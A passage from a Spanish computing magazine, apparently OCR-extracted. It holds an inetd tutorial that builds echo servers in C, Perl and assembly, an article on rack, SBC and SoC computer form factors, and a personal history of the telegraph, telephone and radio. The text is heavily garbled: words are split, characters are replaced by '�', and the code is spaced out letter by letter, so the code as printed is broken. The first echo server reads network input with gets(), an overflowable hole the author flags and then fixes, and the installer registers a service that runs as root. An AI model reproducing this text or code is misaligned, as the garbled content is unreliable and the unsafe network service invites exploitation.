utilizaremos simplemen te un n úmero.

Las dos columnas siguien tes nos p ermiten esp e-

ci�car el tip o de so c k et y el proto colo a utilizar...

Como no estamos in teresados en los so c k ets p or

el momen to, las dejaremos como están.

La siguien te columna solo tiene sen tido para so-

c k ets del tip o datagr ama , los que se utilizan típi-

camen te con el proto colo UDP , así que tam bién

la v amos a ob viar en este artículo (esta es la

sección m ú rápido... que esp erabas?)

La siguien te columna esp eci�ca el usuario con

el que se ejecutará el servicio. nob o dy es una

buena elección

Finalmen te, las dos últimas columnas indican el

programa que se ejecutará para prop orcionar el

servicio y los parámetros de este. Recordad que

el primer parámetro de cualquier programa es

el nom bre del programa, así que como mínimo

siempre tendremos ese parámetro, como se pue-

de apreciar en el ejemplo.

V ale, to do esto está m uy bien, p ero cómo escrib o mi

servicio. Pues de la forma en la que se hacen las cosas

en UNIX, con stdin y stdout .

stdin Y stdout

Aunque p o drían parecer dos engendros gemelos del

infram undo, amiguitos del sup erdemonio inetd, real-

men te se trata de la en trada y salida estándar. La en-

trada/salida estándar p or defecto se aso cia a la conso-

la, así, la en trada estándar se aso cia al teclado, mien-

tras que la salida estándar a la pan talla de n uestro

terminal.

Lo que sucede con estos dos disp ositiv os es que pueden

ser redireccionados, es decir, cualquiera de ellos puede

ser sustituido p or cualquier otro y esto es precisamen-

te lo que hace inetd. P or una parte, inetd, redirecciona

la conexión de red en tran te a la en trada estándar del

pro ceso que lanza (las últimas columnas del �c hero

de con�guración), a la v ez que redirecciona la salida

estándar de ese pro ceso a la conexión de red.

�inetd se c omunic a c on los servi-

cios utilizando stdin y stdout�

El resultado de to do esto es que cualquier cosa que

se en víe p or la red, se leerá como si se tratara de una

en trada p or teclado, y to do lo que en viemos a la pan-

talla, se en viará p or la red en lugar de mostrarlo en el

terminal.
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P ara ilustrar to do esto v amos a implemen tar el clá-

sico servidor e cho que repite to do lo que le decimos.

Lo in teresan te del servidor de eco es que se comprue-

ba tan to la transmisión como la recep ción de datos y

además se v eri�ca que no se pierden datos en ninguno

de los dos caminos.

UN SERVIDOR DE echo

Nuestra primera v ersión del servidor de ec ho la v a-

mos a hacer en lengua je C... que nadie se asuste, es

un programa tan ton to que no requiere ni explicación,

aunque la v amos a dar. El programa hace una lectura

de la en trada estándar, y lo que lee, lo en vié a la salida

estándar.

# i n c l u d e < s t d i o . h >

i n t m a i n ( ) {

c h a r b u f f e r [ 1 0 2 4 ] ;

g e t s ( b u f f e r ) ;

p r i n t f ( " % s " , b u f f e r ) ;

}

Ahora p o demos compilar el programa, utilizando la

herramien ta mak e. Si hemos llamado a n uestro servi-

cio e cho.c , ejecutamos:

occam@razor:/tmp$ make echo

cc echo.c -o echo

/tmp/ccbhjBK1.o(.text+0x1d): In function `main':

: warning: the `gets' function is dangerous

and should not be used.

Irresp onsablemen te ob viamos el w arnning que obte-

nemos en la compilación (m uy pron to carecerá de in-

terés), cam biamos el propietario de n uestro servicio e

informamos a inetd del n uev o servicio que queremos

que gestione, tras lo cual lo reiniciamos para que se

en tere.

�En ap enas cuatr o líne as de c ó di-

go p o demos pr o gr amar un servi-

dor de ECHO�

occam@razor:tmp$ chown nobody:nobody /tmp/echo

occam@razor:tmp$ echo "6666 stream tcp wait \

> nobody /tmp/echo echo" >> /etc/inetd.conf

occam@razor:tmp$ /etc/init.d/inetd restart

Sí, ha y formas más elegan tes de reiniciar inetd, p ero

eso queda para los lectores del man :).

Ahora y a p o demos probar n uestro n uev o servicio

occam@razor:tmp$ telnet localhost 6666

Hola Mundo!!!

Hola Mundo!!!

occam@razor:tmp$

Ingreíble, hemos escrito n uestro primer servicio unix

sin necesidad de sab er lo que es un so c k et... tranquilos

que lo sabremos en pró ximas en tregas, p ero p or ahora

mola no?.

DEJANDO EL SERVIDOR DECENTE

Nuestra primera v ersión del servidor, generaba un feo

w arnning que además es bastan te p eligroso, p ero re-

sultaba más sencillo v er como la en trada y salida es-

tándar se corresp onden p or defecto con el teclado y la

consola.

V amos a reescribir n uestro servidor de una forma más

correcta. El programa hace exactamen te lo mismo, p e-

ro ahora accedemos directamen te a los descriptores de

�c hero de la en trada y salida estándar. V eámoslo:

# i n c l u d e < u n i s t d . h >

i n t

m a i n ( i n t a r g c , c h a r � a r g v [ ] )

{

c h a r b u f f e r [ 1 0 2 4 ] ;

i n t l e n ;

l e n = r e a d ( 0 , b u f f e r , 1 0 2 4 ) ;

w r i t e ( 1 , b u f f e r , l e n ) ;

r e t u r n 0 ;

}

Como p o demos v er en este ejemplo, leer del descriptor

de �c heros 0 es equiv alen te a un gets y escribir en el

descriptor de �c hero 1 es lo mismo que un prin tf.

CUESTIÓN DE T AMAÑO

El servidor de ec ho que acabamos de escribir, o cupa

unos 12Kb, los cuales p o demos dejar en 3Kb utilizan-

do el comando strip:

occam@razor:tmp$ ls -lh

total 12K

-rwxr-xr-x 1 edma edma 12K Apr 20 20:48 echo

occam@razor:tmp$ strip echo; ls -lh

total 3K

-rwxr-xr-x 1 edma edma 3.0K Apr 20 20:49 echo

Un tamaño ridículo para los tiemp os que corren, p ero

y si lo pudiéramos dejar en unos p o co b ytes, p or ejem-

plo sustituy endo n uestro ejecutable p or un p equeño

script p erl como este:

# ! / u s r / b i n / p e r l

$ | = 1 ;

$ _ = < >; p r i n t ;

Ahora n uestro servicio o cuparía sólo:

occam@razor:tmp$ ls -lh

total 38

-rw-r--r-- 1 edma edma 38 Apr 20 20:52 echo2

occam@razor:tmp$
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.... 38 b ytes ..... ingreíble!!!!!

Estos 38 b ytes son �cticios, y a que para p o der ejecu-

tar este servidor, necesitamos tener el in terprete de

P erl instalado que o cupa bastan te más que n uestros

3Kb ytes iniciales. Sin em bargo, normalmen te si que

tenemos una shell.... uhmmm!!!!

A partir de aquí y a p o déis hacer vuestras propias

pruebas, aunque para terminar v amos a añadir un par

de secciones geek para �ipados :)

GEEK ZONE 1: UN INST ALADOR

Ahora que tenemos n uestro servidor preparado, que

tal si preparamos un instalador?... p o dríamos usar

InstallShield(TM) o similares, p ero como somos unos

geeks v amos a hacer un script shell para instalar n ues-

tro servicio.

El script es el siguien te:

# ! / b i n / s h

S E R V I C E _ P A T H = $ H O M E

# C r e a e l f i c h e r o f u e n t e

c a t < < E O P > $ S E R V I C E _ P A T H / e c h o _ s e r v i c e . c

# i n c l u d e < u n i s t d . h >

i n t m a i n ( ) {

c h a r b u f f e r [ 1 0 2 4 ] ;

i n t l e n ;

l e n = r e a d ( 0 , b u f f e r , 1 0 2 4 ) ;

w r i t e ( 1 , b u f f e r , l e n ) ;

r e t u r n 0 ;

}

E O P

# L o c o m p i l a y b o r r a e l f i c h e r o f u e n t e

g c c $ S E R V I C E _ P A T H / e c h o _ s e r v i c e . c \

� o $ S E R V I C E _ P A T H / e c h o _ s e r v i c e

r m $ S E R V I C E _ P A T H / e c h o _ s e r v i c e . c

# C o n f i g u r a m o s i n e t d

e c h o " 8 0 0 0  s t r e a m  t c p  n o w a i t  r o o t  \

$ S E R V I C E _ P A T H / e c h o _ s e r v i c e " > > \

/ e t c / i n e t d . c o n f

# R e i n i c i a i n e t d p a r a a c t i v a r s e r v i c i o

/ e t c / i n i t . d / i n e t d r e s t a r t

Como p o déis v er, el script con tiene el có digo fuen te

del servicio, no el ejecutable. El script crea el �c he-

ro fuen te en un directorio, lo compila y lo instala....

¾qué ganamos con esto?... pues que n uestro servicio

es ahora m ultiplataforma. P o demos instalarlo en un

pro cesador In tel, en un SP AR C en un P A-RISC, nos

da igual, el ejecutable se genera en la plataforma de

destino.

GEEK ZONE 2: VERSION MÁS PEQUE-

ÑA

P ara terminar con las geek adas... que os parecería ha-

cer n uestro servidor más p equeño?... parece difícil no?,

p ero tenemos un par de op ciones más, como p or ejem-

plo, reimplemen tarlo en ensam blador.

Nuestro servicio de ec ho queraría tal que así:

; ; S e r v i c i o E C H O p a r a u s a r c o n i n e t d

; ; ( c ) Occam ' s R a z o r , 2 0 0 6

; ;

; ; c o m p i l a r c o n :

; ; n a s m � f e l f e c h o . a s m

; ; l d � s � o e c h o e c h o . o

s e c t i o n . t e x t

g l o b a l _ s t a r t ; R e q u e r i d o p o r e l l i n k e r ( l d )

_ s t a r t : ; P u n t o d e e n t r a d a a l p r o g r a m a

; ; L e e r E n t r a d a

m o v edx , 1 0 2 4

m o v e c x , b r e a d

x o r ebx , ebx ; s t d i n � > 0

m o v e a x , 3 ; L l a m a d a a l s i s t e m a r e a d

i n t 0 x 8 0

; ; E s c r i b i r s a l i d a

i n c ebx ; s t d o u t � > 1

m o v e a x , 4 ; L l a m a d a a l s i s t e m a w r i t e

i n t 0 x 8 0

m o v e a x , 1 ; L l a m a d a a l s i s t e m a e x i t

i n t 0 x 8 0

; ; S e c c i ó n d e D a t o s n o I n i c i a l i z a d o s

s e c t i o n . b s s

b r e a d r e s b 1 0 2 4 ; u n s i g n e d c h a r b r e a d [ 1 0 2 4 ] ;

El có digo fuen te es un p o co más largo, p ero v eamos

que pasa al compilarlo.

occam@razor:tmp$ nasm -f elf echo.asm

occam@razor:tmp$ ld -s -o echo echo.o

occam@razor:tmp$ ls -lh

total 428

-rwxr-xr-x 1 edma edma 428 Apr 20 21:05 echo

occam@razor:tmp$

No son los 38 b ytes de la v ersión P erl, p ero no ne-

cesitamos ningún in terprete instalado en el sistema....

Mo o olaaaa!!!

EN EL PRÓ XIMO NÚMERO

Esto ha sido to do en esta en trega, en el pró ximo n úme-

ro, sí v eremos como mon tar un servicio completo con

sus so c k ets y sus cosas. P or ahora, tenemos material

para ir haciendo cosillas.

Hasta la pró xima en trega!.
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Eligiendo Ordenado r

Más allá de la to rre y el p o rtátil

p o r T ony Cassette

E n general, se cree que un ordenador pue-

de ser una torre (con sus distin tas v arian tes),

un desktop o un p ortátil. Sin em bargo, el m undo

esta lleno de ordenadores con factores de forma

m uy diferen tes, más adecuados para unas u otras

soluciones. En este artículo os descubriremos al-

gunos de los más utilizados.

ENTORNOS INDUSTRIALES. RA CKS

Cuando nos alejamos de las o�cinas y nos aden tramos

en en tornos más industriales o en general en solucio-

nes más esp ecí�cas, los ordenadores raramen te están

solos. En una plan ta industrial, el ordenador con trola

la línea de mon ta je a tra v és de equip os eléctricos adi-

cionales. En una compañía de telecom unicaciones, el

ordenador con trola las líneas telefónicas que llegan a

la cen tralita o en un banco de pruebas, el ordenador

con trola distin ta instrumen tación con la que realizar

las medidas necesarias para llev ar a cab o sus tests.

En to dos estos casos, los ordenadores, jun to con to do

eso que los ro dea y que ellos deb e con trolar, se suelen

mon tar en lo que se llama un rac k. Un rac k no es otra

cosa que un armario diseñado para alb ergar distin tos

equip os de una forma estable, compacta y sólida.

Los rac ks utilizados normalmen te tienen un anc ho es-

tándar de 19"(pulgadas) y es normal que los fabrican-

tes de equip os distribuy an mo delos para su mon ta je

en estos rac ks de 19"(normalmen te referidos en sus

catálogos como �rac k moun ted�).

Estos rac ks se dividen v erticalmen te en lo que se llama

una �U�, apro ximadamen te 2.45", y los equip os que se

mon tan en los rac ks se caracterizan p or el n úmero de

Us que o cupan en el rac k, es decir, p or el espacio v er-

tical que o cupan.

A la hora de mon tar un ordenador en un rac k, disp o-

nemos de v arias p osibilidades.

Ordenadores para mon ta je en rac k

Uso de un subrac k

RA CK MOUNTED COMPUTERS

Como decíamos p o demos encon trar ordenadores es-

p ecialmen te diseñados para ser mon tados en rac ks de

19.

en

v arios tamaños, siendo los más habituales los de

1 o 2 Us.

Esta solución es com ún, p or ejemplo, en instalaciones

que in v olucran a m uc hos ordenadores como sucede en

las empresas de hosting/housing o en los clusters. Co-

mo nos p o demos imaginar, en un espacio bastan te re-

ducido p o demos disp oner v arios ordenadores de una

forma ordenada. P or ejemplo, un rac k de 18 Us tiene

una altura de p o co más de un metro, utilizando or-

denadores de 1 U p o dremos meter 18 ordenadores en

ese rac k.

SUB-RA CKS Y BUSES ESPECIALES

Estamos acostum brados a meter tarjetas de expansión

en n uestros ordenadores de casa. T arjetas PCI que se

com unican con n uestro ordenador y le dan n uev as p o-

sibilidades. Pues bien, PCI es lo que se cono ce como

un bus y como os p o déis imaginar no es el único.

Como decíamos más arriba, en en tornos industriales

es normal utilizar cosas �más sólidas� y además suelen

estar diseñadas para ser incluidas den tro de un rac k

estándar de 19". Existen v ersiones esp eciales de buses

com unes utilizados p or ordenadores como el PCI o el

VME (utilizado p or máquinas basadas en el 68000 de

Motorola), orien tadas a la instrumen tación, es decir,

las �tarjetas� que v amos a p oner a n uestro ordenador

con elemen tos de medida que requieren señales esp e-

ciales para funcionar correctamen te.
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Así, la extensión para instrumen tación del bus PCI se

llama PXI y la del bus VME recib e el nom bre VXI.

Otro bus utilizado para estos mon ta jes en rac k de los

que estamos hablando es el cPCI (Compact PCI), una

v ersión �compacta� del bus PCI, que ha resultado m uy

p opular y a que los fabrican tes de hardw are no tienen

que hacer grandes cam bios a sus diseños (soluciones

PMC + carrier).

Estos buses se suelen mon tar sobre un subrac k que

puede ser instalado en un rac k ma y or, y prop orciona

�slots� o ran uras en las que pinc har n uestras tarjetas,

siendo el ordenador una más de esas tarjetas (normal-

men te es la tarjeta en el slot 0).

Estos sub-rac ks suelen tener unas medidas de 3, 6 o

9 Us, y un n úmero v ariable de ran uras para pinc har

tarjetas. Las tarjetas se suelen pinc har en p osición v er-

tical.

SBC: SINGLE BO ARD COMPUTERS

Los ordenadores de una sola placa (Single Board Com-

puters o SBC) son, como su propio nom bre indica,

ordenadores completos en una sola placa. En general,

estos ordenadores se pinc han en un bus como si fueran

una tarjeta más, para p ermitir su com unicación con

hardw are adicional en el sistema. Es bastan te habitual

que los ordenadores para mon ta je en rac k sean de este

tip o, así como los denominados PCs industriales que

tam bién suelen seguir esta �losofía.

PC-104 Y PC-104+

Los PC-104 y PC-104+ son p equeños ordenadores

(10.4 cm de ahí su nom bre) que p oseen resp ectiv a-

men te un bus ISA o un bus PCI. La característica

más salien table de esta solución, además de su reduci-

do tamaño, es que las tarjetas de expansión se apilan

sobre el ordenador.

Los PC-104 p oseen un conector en su placa que p ermi-

te pinc har tarjetas sobre él y cada una de las tarjetas

pinc hadas, prop orciona ese mismo conector, de forma

que tarjetas adicionales pueden ser incluidas.

De esta forma, el ordenador crece hacia arriba (o ha-

cia aba jo, según se mire) con cada n uev a tarjeta que

se le añada.

Los PC-104 son en general m uy robustos y p oseen

una p otencia de cálculo limitada, lo que los hace es-

p ecialmen te in teresan tes para instalaciones de con trol

industrial y sistemas em b ebidos.

TOD A VÍA MÁS PEQUEÑITOS

Siguiendo n uestro camino hacia la nimiedad nos en-

con tramos ordenadores to da vía más p equeños con un

tamaño similar al de una unidad de disco de 3.5".

Realmen te p equeños.

Este tip o de ordenador está orien tado a su in tegración

en un sistema ma y or como un elemen to más. Una ca-

racterística de este tip o de ordenadores es que no v a-

mos a encon trar un conector para el teclado, el ratón

o el monitor, sino que nos encon traremos con un mon-

tón de pines (algo así como el conector IDE de n uestro

disco duro) que llev an to das esas señales y somos no-

sotros los encargados de llev ar cada uno de ellos al

conector que más nos ap etezca.

En general estos ordenadores se encuen tran en el in te-

rior de los routers ADSL o de los TiV Os que tenemos

en n uestra casa. En la última sección de este artículo

p o dréis v er algunos mo delos.

SoC. SYSTEM ON CHIP

Los ordenadores que acabamos de v er son m uy p e-

queños y útiles para mon tar p equeños disp ositiv os de-

dicados, sin em bargo, otra tendencia para este tip o

de soluciones son los denominados SoCs o System On

Chip.

Básicamen te, en un único c hip se empaquetan absolu-

tamen te to dos los elemen tos de un ordenador, excepto

aquellos relacionados con la adaptación de señales pa-

ra su conexión al m undo real. Es decir, de las patas de

este c hip salen to das las señales necesarias para su co-

nexión a una red ethernet p ero nosotros tenemos que

p oner un p equeño circuito para p o der adaptar esas

señales y sacarlas p or un RJ45 estándar.

Un caso esp ecial de SoCs son la última generación de

FPGAs (Field Programmable Gate Arra y), la ev olu-

ción de las CPLD, PLD, P AL/PLA, etc... Las FP-

GAs son �hardw are programable�, es decir, p o demos

programar que elemen tos hardw are queremos que con-

tenga y cam biarlos con p osterioridad. De esta forma,

p o demos programar n uestra FPGA para que con ten-

ga un determinado micropro cesador, un con trolador

PCI, un con trolador ethernet y otro USB.

� L as soluciones SoC nos pr op or-

cionan un or denador c ompleto en

un únic o chip.�

Esto que parece tan fácil, realmen te lo es. En la actua-

lidad un mon tón de fabrican tes y más recien temen te

particulares han desarrollado una imp ortan te librería

de lo que se cono cen como �cores�. Un �Core� es una

con�guración de la FPGA para realizar una op era-

ción concreta. Existen �cores� para un gran n úmero

de circuitos normalmen te utilizados en un ordenador.

Incluso se han desarrollado micropro cesadores que só-

lo existen como una con�guración de la FPGA (mi-

croblaze)
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CURIOSID ADES

Finalmen te, y a mo do de curiosidad v amos a nom brar

un par de ordenadores más bien p equeñitos y que son

capaces de correr GNU/Lin ux.

PicoT ux. A simple vista, PicoT ux es un conector

de red RJ45, p ero en realidad se trata de un li-

n ux em b ebido en un micro con trolador. PicoT ux,

además del in terfaz de red fácilmen te iden ti�ca-

ble disp one de un puerto serie de alta v elo cidad

y un n úmero reducido de líneas de en trada/sa-

lida.

http://www.pico tux .c om /pr od uc te. ht ml

uCLin ux. Realmen te se trata de una distribu-

ción de lin ux preparada para funcionar sobre

pro cesadores sin MMU (Memory Managemen t

Unit o Unidad de Gestión de Memoria). Los

desarrolladores de uCLin ux han creado una p e-

queña placa del tamaño de un mó dulo de me-

moria DIM con un micro con trolador y su distri-

bución de lin ux em b ebida

www.uclinux.org /

Mini-ITX. Las placas mini-ITX se han p opula-

rizado con los recien tes bareb ones y �ordenado-

res de salón�. Su reducido tamaño (170mm x

170mm) y ba jo niv el de ruido las hacen esp e-

cialmen te in teresan tes para p onerlas en n uestro

salón.

http://www.mini -it x. co m/

F o x Board LX. Un completo sistema lin ux en

una placa de 66 mm x 72 mm. La placa incorp o-

ra un pro cesador ETRAX 100LX a 100 MHz. La

compañía que distribuy e la placa (A CME Sys-

tems y no es cac hondeo) prop orciona un SDK

para el desarrollo de aplicaciones sobre esta pla-

taforma. El sistema prop orciona to da clase de

in terfaces.

http://www.acmesy st em s.i t/ ?i d=4

La empresa Gumstix ofrece p equeños ordenado-

res basados en pro cesadores PXA (In tel XScale)

y to da una serie de accesorios que incluy en v a-

rias tarjetas de expansión, ca jas para el mon ta je

de las placas, etc...

http://gumstix. com /

La empresa So ekris tam bién comercializa p eque-

ños sistemas esp ecialmen te orien tados al desa-

rrollo de sistemas de red como routers. Estas

placas tam bién tienen un tamaño que v aría con

el mo delo. El tamaño de su placa net4801 es de

13.2cm x 14.4cm.

http://soekris. com /
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Mi histo ria de la T elecomunicaciones

Un paseo subjetivo p o r el o rigen de las T elecomunicaciones

p o r F ernando Ma rtín Ro dríguez

N o hace m uc ho visité el foro que los

alumnos de telecom unicación de Vigo uti-

lizan para comen tar temas de la Escuela

(h ttp://foroteleco.uvigo.es) y encon tré una pre-

gun ta diferen te y , quizás, más in teresan te a las

habituales: ¾Qué son las telecom unicaciones?

Esa pregun ta form ulada p or estudian tes de la

materia tam bién resulta inquietan te: ¾Cómo es

p osible que no sepan con testarla? Ello me lle-

v ó a in terv enir en la discusión y a in tercam biar

v arias ideas con ellos.

Una conclusión más o menos compartida con to dos fue

que es una profesión m uy n uev a. P or ejemplo, en Es-

paña la primera Escuela se fundó en Madrid en 1931,

aunque an tes habían existido como precursoras las es-

cuelas de telegra�stas del ejército, lo que con vierte a

la ingeniería de telecom unicaciones en una titulación

de origen militar, como la ma y oría de las ingenierías.

Otro dato: según estudios del colegio profesional (in-

forme PESIT, www.coit.es) sólo el 10 % de los titu-

lados españoles están jubilados. Esta juv en tud de la

profesión hace que sea p o co cono cida para el público

en general. Ahora bien, el descono cimien to de estu-

dian tes de la propia titulación y a no se justi�ca tan to.

Quizás ese descono cimien to de los alumnos pro cede en

gran medida de la gran esp eci�cidad de las asignatu-

ras impartidas y de lo v olcado que está cada profesor

en su propia materia. A v eces, con viene dar una visión

más global y es mi in tención al escribir este artículo.

El ob jetiv o del artículo (como dice su título) es dar

una visión p ersonal de la historia de la telecom unica-

ción. Digo p ersonal p orque se basará en el comen tario

sucesiv o de una serie de hitos imp ortan tes, los que y o

considero más imp ortan tes, para esta profesión (y pa-

ra la tecnología de la que se o cupa). Pregun tando a

otro ingeniero, el resultado de los desarrollos seleccio-

nados p o dría ser diferen te e igualmen te v álido.

Quiero que este texto sirv a tam bién como homena je

a to das las p ersonas que dedicaron no c hes sin dor-

mir a hacer realidad lo que ho y llamamos tecnología.

La selección es, p or supuesto, p ersonal p ero v a y a p or

delan te mi admiración a los que he seleccionado y a

los que no (a m uc hos, p or supuesto, mi ignorancia me

hace descono cerlos).

P ara emp ezar la historia de la telecom unicación nada

mejor que una de�nición que in ten taré que sea cla-

ra, sencilla y general. P ara lograr una de�nición así

no ha y nada mejor que recurrir a la etimología: TE-

LECOMUNICA CIÓN = TELE + COMUNICA CIÓN

= �Com unicación a Distancia�. En tendemos p or tan to

p or telecom unicación al acto de ser capaz de transmi-

tir información a otras p ersonas situadas a una dis-

tancia ma y or al alcance de la com unicación h umana

directa (visual o v erbal).

Comenzamos ahora a glosar los grandes hitos recorri-

dos en el camino desde la ausencia de tecnología hasta

la situación actual. Desearía dividir este recorrido p or

logros de la h umanidad en dos a v ances paralelos e in-

tercom unicados:

Los in v en tos: en tendiendo como tal el desarro-

llo de sistemas n uev os y su puesta en marc ha

exp erimen tal.

Las teorías: se trata de aquellas con tribuciones

que no ap ortan ningún n uev o sistema en sí p ero

que p ermiten estudiar algún fenómeno con ma-

y or profundidad que hasta en tonces.

Puede parecer que en tiendo las teorías como con tri-

buciones m uc ho más teóricas sin em bargo su in terre-

lación con los in v en tos ha sido y sigue siendo total.

Marconi utilizó las primeras an tenas sin sab er aplicar

las ecuaciones de Maxw ell, sin cono cer dic has ecuacio-

nes sería totalmen te imp osible el desarrollo actual de

la ingeniería radio eléctrica. Ha y in v en tos que han pro-

piciado la creación de teorías. T o da teoría imp ortan te

ha generado in�nidad de in v en tos.

V amos a v er ahora los que y o considero los ma y ores

hitos de la tecnología de la com unicación en la histo-

ria.

EL TELÉGRAF O

Dada n uestra de�nición de telecom unicación, se p o-

dría decir que el correo p ostal fue el primer sistema

de telecom unicación. Eso es cierto, p ero sólo v amos a

en tender como v erdaderos sistemas de telecom unica-

ción aquellos capaces de en viar la información a ma y or

v elo cidad que un h umano. Esta salv edad es aceptada

p or m uc hos p ero puede ser p olémica. Los ingenieros

diseñan y analizan como un canal de com unicaciones

los medios de grabación (una cin ta: medio magnético,

un CD: medio óptico) y en este caso puede hab er re-

tardos m uc ho ma y ores al via je de un h umano desde

emisor a receptor.

A p esar del in terés que puedan tener, no v amos a con-

siderar los sistemas de com unicación basados en seña-

les visibles a gran distancia (señales de h umo, señales

ópticas basadas en esp ejos o la com unicación na v al

basada en có digos de banderas). La razón: cuando al-

guien piensa en telecom unicación piensa en el uso de

señales electromagnéticas (tan to en propagación libre

p or el aire o el v acío como guiadas p or cables o �bras

ópticas).
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P o dríamos completar la de�nición: TELECOMUNI-

CA CIÓN = �Com unicación a distancia median te cam-

p os electromagnéticos�.

El primer sistema de telecom unicación (en el sen tido

recién de�nido) fue el telégrafo. V emos que el pre�jo

�tele� vuelv e a aparecer (y aparecerá en más sistemas).

TELÉGRAF O = ESCRITURA A DIST ANCIA.

El primer telégrafo del que se tiene noticia fue desa-

rrollado p or uno de los ma y ores genios de la histo-

ria: el alemán Carl F riedric h Gauss (Brunswic k 1777,

Gottingen 1855). Gauss se aso ció duran te seis años al

físico Wilhem W eb er. En tre am b os lograron conectar

el despac ho de Gauss en el observ atorio astronómico

con el de W eb er en la facultad de física (a más de dos

kilómetros de distancia). Esta exp eriencia fue llev ada

a cab o en 1822.

Sin em bargo la exp eriencia de Gauss no tuv o con tin ui-

dad y para él mismo quedó como un hec ho anecdótico.

El padre del telégrafo es, indiscutiblemen te, Sam uel

Morse. Morse repro dujo la exp eriencia de Gauss en

1833 p ero no con ten to con eso desarrolló el primer

sistema de telecom unicación regular de la historia. El

telégrafo primitiv o sólo p ermitía transmitir una señal

elemen tal: el pulso, de la que sólo p o día mo di�carse

la duración. Morse de�nió dos sím b olos: el pulso corto

(el pun to) y el largo (la ra y a) in v en tando sin sab erlo

la primera mo dulación digital de la historia. Después,

buscó una manera óptima de transmitir mensa jes de

texto dedicando menos sím b olos a los caracteres más

probables y más a los menos probables. T am bién sin

sab erlo creó un có digo pre�jo (para p o der traba jar con

palabras de longitud v ariable ninguna palabra v álida

puede ser pre�jo de otra) y óptimo (de longitud media

mínima, v er pun to 1 del Cuadro 1). Finalmen te Mor-

se logró establecer una línea telegrá�ca regular en tre

las ciudades norteamericanas de W ashington D.C. y

Baltimore (situadas a más de cien kilómetros de dis-

tancia).

Figura 1: Esquema de un telégrafo primitiv o

La telegrafía duró más de cien años y su heredero na-

tural el teletip o (v er pun to 2 del Cuadro 1) hasta hace

m uy p o co (prácticamen te hasta la llegada del correo

electrónico).

Figura 2: Op eradoras conm utando llamadas

man ualmen te (se calcula que si el trá�co tele-

fónico actual tuviese que ser conm utado ma-

n ualmen te, to da la p oblación m undial sería

insu�cien te para hacerlo).

EL TELÉF ONO

De n uev o aparece el pre�jo �tele�. TELÉF ONO =

V OZ A DIST ANCIA. Al ser capaz de transp ortar el

medio de com unicación h umana fundamen tal (la v oz),

la telefonía ha sido duran te más de 100 años el siste-

ma de telecom unicación más usado (y , probablemen te,

sigue siéndolo ho y día).

El teléfono es un in v en to cuy a historia está salpicada

p or la p olémica. An tonio Meucci fue un italiano (naci-

do en Florencia en 1808) que emigró al n uev o m undo:

se estableció en Cuba en 1835 y , después, en Nuev a

Y ork en 1850.

En 1855 Meucci fue capaz de unir p or v oz dos habi-

taciones de su casa a tra v és de un teléfono no eléctri-

co (un artilugio que guiaba mecánicamen te las ondas

acústicas). Meucci logró una paten te temp oral de su

in v en to p ero no disp onía de medios económicos para

la de�nitiv a. A demás, la difusión de su traba jo le fue

casi imp osible p or no dominar el idioma inglés. Se dice

que Meucci enseñó su traba jo a v arias empresas que

no con�aron en él.

Nunca se ha probado p ero se sosp ec ha que parte del

material de Meucci ca y ó en manos del am bicioso esco-

cés Alexander Graham Bell. Bell paten tó un teléfono

y a eléctrico en el año 1876. Probablemen te, n unca sa-

bremos a ciencia cierta si realmen te partió del desa-

rrollo de Meucci (m uerto en Nuev a Y ork en 1896).

El 11 de junio de 2002 el Congreso de Estados Unidos

aprob ó la resolución 269 p or la que recono ció que el

in v en tor del teléfono había sido Meucci y no Alexan-

der Graham Bell.

CUADR O 1: CURIOSID ADES TELÉF ONO TELÉGRAF O

1. Hu�man desarrolló más de cien años después (1952) un méto do sistemático para crear có digos pre�jo óptimos.

2. El F rancés Emile Baudot in v en tó el teletip o en 1874. Básicamen te es un telégrafo a v anzado donde los bits se agru-

paban de 5 en 5. El resultado era una esp ecie de máquina de escribir que transmitía una copia al otro extremo al

tiemp o que se tecleaba.
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LA RADIO

En tendemos p or radio com unicación el empleo para la

com unicación de ondas electromagnéticas que se pro-

pagan en el aire. El disp ositiv o crucial para la radio

es pues la an tena.

Es difícil atribuir a una sola p ersona la in v ención de

la radio com unicación. El primer y fundamen tal a v ance

fue teórico (v er más adelan te en �Las T eorías�) cuando

J.C. Maxw ell estableció las ecuaciones fundamen tales

del electromagnetismo. P osteriormen te el físico Hein-

ric h Hertz comprob ó exp erimen talmen te las ecuacio-

nes de Maxw ell y fue el primero que caracterizó las

ondas electromagnéticas (desde en tonces, ondas her-

tzianas).

A partir de los exp erimen tos de Hertz surgió la in-

quietud de p o der en viar las señales telegrá�cas p or

el aire, lo que en aquel momen to se llamó �telegrafía

sin hilos� (que llegaría a ser m uy imp ortan te a princi-

pios del XX y a fue el primer sistema en la historia en

p ermitir la com unicación con un barco en alta mar).

F ueron v arias p ersonas, casi a la v ez, las que hicieron

los primeros exp erimen tos: el primero fue Nik ola T esla

en Estados Unidos (1893) seguido p or Alexander P o-

p o v en Rusia (1896). Sin em bargo, estas exp eriencias

quedaron en anécdota, el que logró hacer ev olucionar

la radio com unicación a un sistema comercial fue el ita-

liano Guillermo Marconi (traba jando en Inglaterra).

En 1897 Marconi mon tó el primer emisor �jo de la

historia en la Isla de Wigh t, al sur de Inglaterra y en

1898 abrió la primera factoría de equip os de transmi-

sión sin hilos en Hall Street (Chelmsford, Reino Uni-

do) empleando en ella alrededor de 50 p ersonas. En

1899 Marconi consiguió establecer una com unicación

de carácter telegrá�co en tre Gran Bretaña y F rancia.

T an sólo dos años después, en 1901 logró atra v esar el

o céano A tlán tico.

Figura 3: Guillermo (en italiano: Guglielmo)

Marconi (nacido en Bolonia en 1874, fallecido

en Roma en 1937).

Marconi obtuv o en 1909 el premio Nob el de Física,

compartido con el alemán Karl F erdinand Braun am-

b os p or sus con tribuciones a la telegrafía sin hilos

(Braun había desarrollado el primer recti�cador de la

historia que fue utilizado p or Marconi en sus recepto-

res).

Figura 4: T orre emisora. La radio difusión

siempre se ha basado en buscar p osiciones ele-

v adas para el emisor. En países m uy llanos ha y

que construir grandes torres (la con trapartida

es que una torre sobre una llan ura tiene un al-

cance enorme).

A diferencia de Braun, Marconi fue una p ersona m uy

am biciosa que fundó una empresa de telecom unicacio-

nes que aun existe ho y (www.marconi.com). En 1918,

fue nom brado miem bro vitalicio del Senado italiano y

en 1929 recibió el título de marqués.

La No c hebuena de 1906, utilizando el principio hete-

ro dino (v er Cuadro 2), Reginald F essenden transmitió

desde Bran t Ro c k Station (Massac h usetts) la primera

radio difusión de audio de la historia. Así, buques en

el mar pudieron oír una radio difusión que incluía a

F essenden to cando al violín la canción O Holy Nigh t

y ley endo un pasa je de la Biblia.

Un gran paso en la calidad de los receptores, se pro-

